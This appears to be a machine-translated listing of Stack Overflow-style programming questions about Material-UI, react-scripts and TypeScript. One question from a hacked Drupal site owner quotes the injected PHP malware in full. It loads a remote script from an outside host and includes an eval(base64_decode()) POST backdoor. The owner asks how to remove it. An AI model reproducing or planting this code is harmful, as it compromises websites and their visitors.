我能够将shouldForwardProp
指定哪些道具应该转发到作为选项传递的包装元素放在一起styled()
,但我无法找到其用例的可理解的示例。
这里的 prop 转发类似于在 React 中传递 props 吗?
为什么在使用时要阻止某些道具被转发到包装元素styled()
?
请原谅我的无知或者我的问题不够清晰——我仍在学习 MUI 并试图理解它。
根据演示,材质 UI 概述选择输入的标签应位于选择框的顶部边框的顶部。
然而,在我的应用程序中,z-index
标签的 似乎将其放置在顶部边框后面,因此看起来像一条线穿过标签。
我几乎完全从文档中获取了代码,据我所知,没有任何样式与此输入元素冲突。我已将调试器中的样式与我拥有的样式和文档中的样式进行了比较,并且我没有看到任何第一方 CSS 文件导致在元素上设置不同的样式。
知道这里可能出了什么问题吗?
这是源代码:
<FormControl variant='outlined' style={{ width: '100%' }} margin={'1'}>
<InputLabel id='test-select-label'>Label</InputLabel>
<Select
labelId='test-select-label'
id='test-select'
value={'test1'}
onChange={e => setTest(e.target.value)}
size='small'
>
<MenuItem key={1} value={'test'} >Test 1</MenuItem>
<MenuItem key={2} value={'test2'} >Test 2</MenuItem>
</Select>
</FormControl>
Run Code Online (Sandbox Code Playgroud) 我想更新react-scripts
到下一个版本 ( 4.0.0
),这样我就可以在此处使用本指南使用快速刷新功能。但是重新启动服务器时,由于以下错误,脚本不起作用:
$ yarn start
yarn run v1.22.4
$ react-scripts start
E:\Github\Web\so-rank\node_modules\react-scripts\scripts\utils\verifyTypeScriptSetup.js:210
appTsConfig.compilerOptions[option] = suggested;
^
TypeError: Cannot add property noFallthroughCasesInSwitch, object is not extensible
at verifyTypeScriptSetup (E:\Github\Web\so-rank\node_modules\react-scripts\scripts\utils\verifyTypeScriptSetup.js:210:45)
at Object.<anonymous> (E:\Github\Web\so-rank\node_modules\react-scripts\scripts\start.js:31:1)
at Module._compile (internal/modules/cjs/loader.js:1138:30)
at Object.Module._extensions..js (internal/modules/cjs/loader.js:1158:10)
at Module.load (internal/modules/cjs/loader.js:986:32)
at Function.Module._load (internal/modules/cjs/loader.js:879:14)
at Function.executeUserEntryPoint [as runMain] (internal/modules/run_main.js:71:12)
at internal/main/run_main_module.js:17:47
error Command failed with exit code 1.
Run Code Online (Sandbox Code Playgroud) 我正在尝试从 导入一个盒子组件@mui/material/Box
。我已经使用以下命令安装了 Material-UI 5 npm i @mui/material
。但出现这个错误,Module not found: Can't resolve '@emotion/react' in 'E:\frontend\node_modules\@mui\styled-engine'
这是我的代码。
import * as React from 'react';
import Box from '@mui/material/Box';
export default function WhiteSpace() {
return (
<div style={{ width: 200 }}>
<Box
component="div"
sx={{
whiteSpace: 'nowrap',
my: 2,
bgcolor: 'background.paper',
}}
>
White Space Nowrap. White Space Nowrap.
</Box>
<Box
component="div"
sx={{
whiteSpace: 'normal',
my: 2,
bgcolor: 'background.paper',
}}
>
White Space Normal. White Space Normal.
</Box>
</div>
);
} …
Run Code Online (Sandbox Code Playgroud) 通过运行一个非常过时的Drupal安装我被黑了(对我很遗憾)
似乎他们在每个.php
文件中注入以下内容;
<?php global $sessdt_o; if(!$sessdt_o) {
$sessdt_o = 1; $sessdt_k = "lb11";
if(!@$_COOKIE[$sessdt_k]) {
$sessdt_f = "102";
if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); }
else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; }
}
else {
if($_COOKIE[$sessdt_k]=="102") {
$sessdt_f = (rand(1000,9000)+1);
if(!@headers_sent()) {
@setcookie($sessdt_k,$sessdt_f); }
else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; }
sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"];
$sessdt_v = urlencode(strrev($sessdt_j));
$sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200);
echo "<script src='$sessdt_u'></script>";
echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--";
}
}
$sessdt_p = "showimg";
if(isset($_POST[$sessdt_p])){
eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));
exit;
}
}
Run Code Online (Sandbox Code Playgroud)
我可以删除并替换它sed
吗?例如:
find . -name *.php | …
Run Code Online (Sandbox Code Playgroud) 我的项目中有错误,我需要使用try、catch和finally来处理这个问题。
我可以在 JavaScript 中使用它,但不能在 Typescript 中使用。
当我在 typescript catch语句中将Exception作为参数时,为什么它不接受这个?
这是代码。
private handling(argument: string): string {
try {
result= this.markLibrary(argument);
}
catch(e:Exception){
result = e.Message;
}
return result;
}
Run Code Online (Sandbox Code Playgroud)
我需要这里的异常消息,但我无法得到。我得到了以下错误。
Catch 子句变量不能有类型注释。
在 Material-UI v5 中,一些 API 使用是从 导入的@mui/material/styles
,例如useTheme
. 一些 API 使用是从 导入的@mui/styles
,例如makeStyles
. 我可以仅使用一个库中的那些与样式相关的 API,或者@mui/styles
吗@mui/material/styles
?因为,在 Material-UI v4 中,我从'@material-ui/core/styles'
或导入了所有与样式相关的 API 'material-ui/styles'
。
我正在使用 Material UI v5 和 TypeScript 为应用程序设置基础。我想使用一些添加到现有默认属性的自定义属性来扩展 Material UI 主题。
我的 theme.ts 配置如下所示:
import { createTheme, ThemeOptions } from "@mui/material/styles";
interface IThemeOptions extends ThemeOptions {}
export const themeStyles = {
palette: {...},
breakpoints: {...},
typography: {
h1: {...},
h2: {...},
h3: {...},
h4: {...},
h5: {...}
h6: {...},
button: {...},
body1: {...},
body2: {...},
//this is the custom prop I want to add
h1Bold: {
fontFamily: '"Roboto", "Helvetica", "Arial", sans-serif',
fontWeight: 700,
fontSize: "3.3125rem",
lineHeight: "1.15em",
color: "#1D1D1D",
marginTop: "20px", …
Run Code Online (Sandbox Code Playgroud) 我正在尝试将Material-UI 样式安装到 React 项目,但每当我在终端中运行此命令时:
npm i @mui/styles
它读取以下消息:
npm ERR! code ERESOLVE
npm ERR! ERESOLVE unable to resolve dependency tree
npm ERR!
npm ERR! While resolving: apollo-music-share@0.1.0
npm ERR! Found: react@18.1.0
npm ERR! node_modules/react
npm ERR! react@"^18.1.0" from the root project
npm ERR!
npm ERR! Could not resolve dependency:
npm ERR! peer react@"^17.0.0" from @mui/styles@5.8.0
npm ERR! node_modules/@mui/styles
npm ERR! @mui/styles@"*" from the root project
Run Code Online (Sandbox Code Playgroud)
这是 React 中的代码:
import { HeadsetTwoTone } from "@mui/icons-material";
import { AppBar, Toolbar, …
Run Code Online (Sandbox Code Playgroud) inputProps
和之间有什么区别InputProps
?下面的2TextField
做同样的事情。我什么时候必须选择其中之一?
<TextField
label="inputProps"
inputProps={{
name: 'inputProps',
type: 'number',
placeholder: 'placeholder',
value,
onChange: handleChange,
}}
/>
Run Code Online (Sandbox Code Playgroud)
<TextField
label="InputProps"
InputProps={{
name: 'InputProps',
type: 'number',
placeholder: 'placeholder',
value,
onChange: handleChange,
}}
/>
Run Code Online (Sandbox Code Playgroud)
reactjs ×8
material-ui ×7
typescript ×3
javascript ×2
css ×1
npm ×1
sed ×1
textfield ×1
try-catch ×1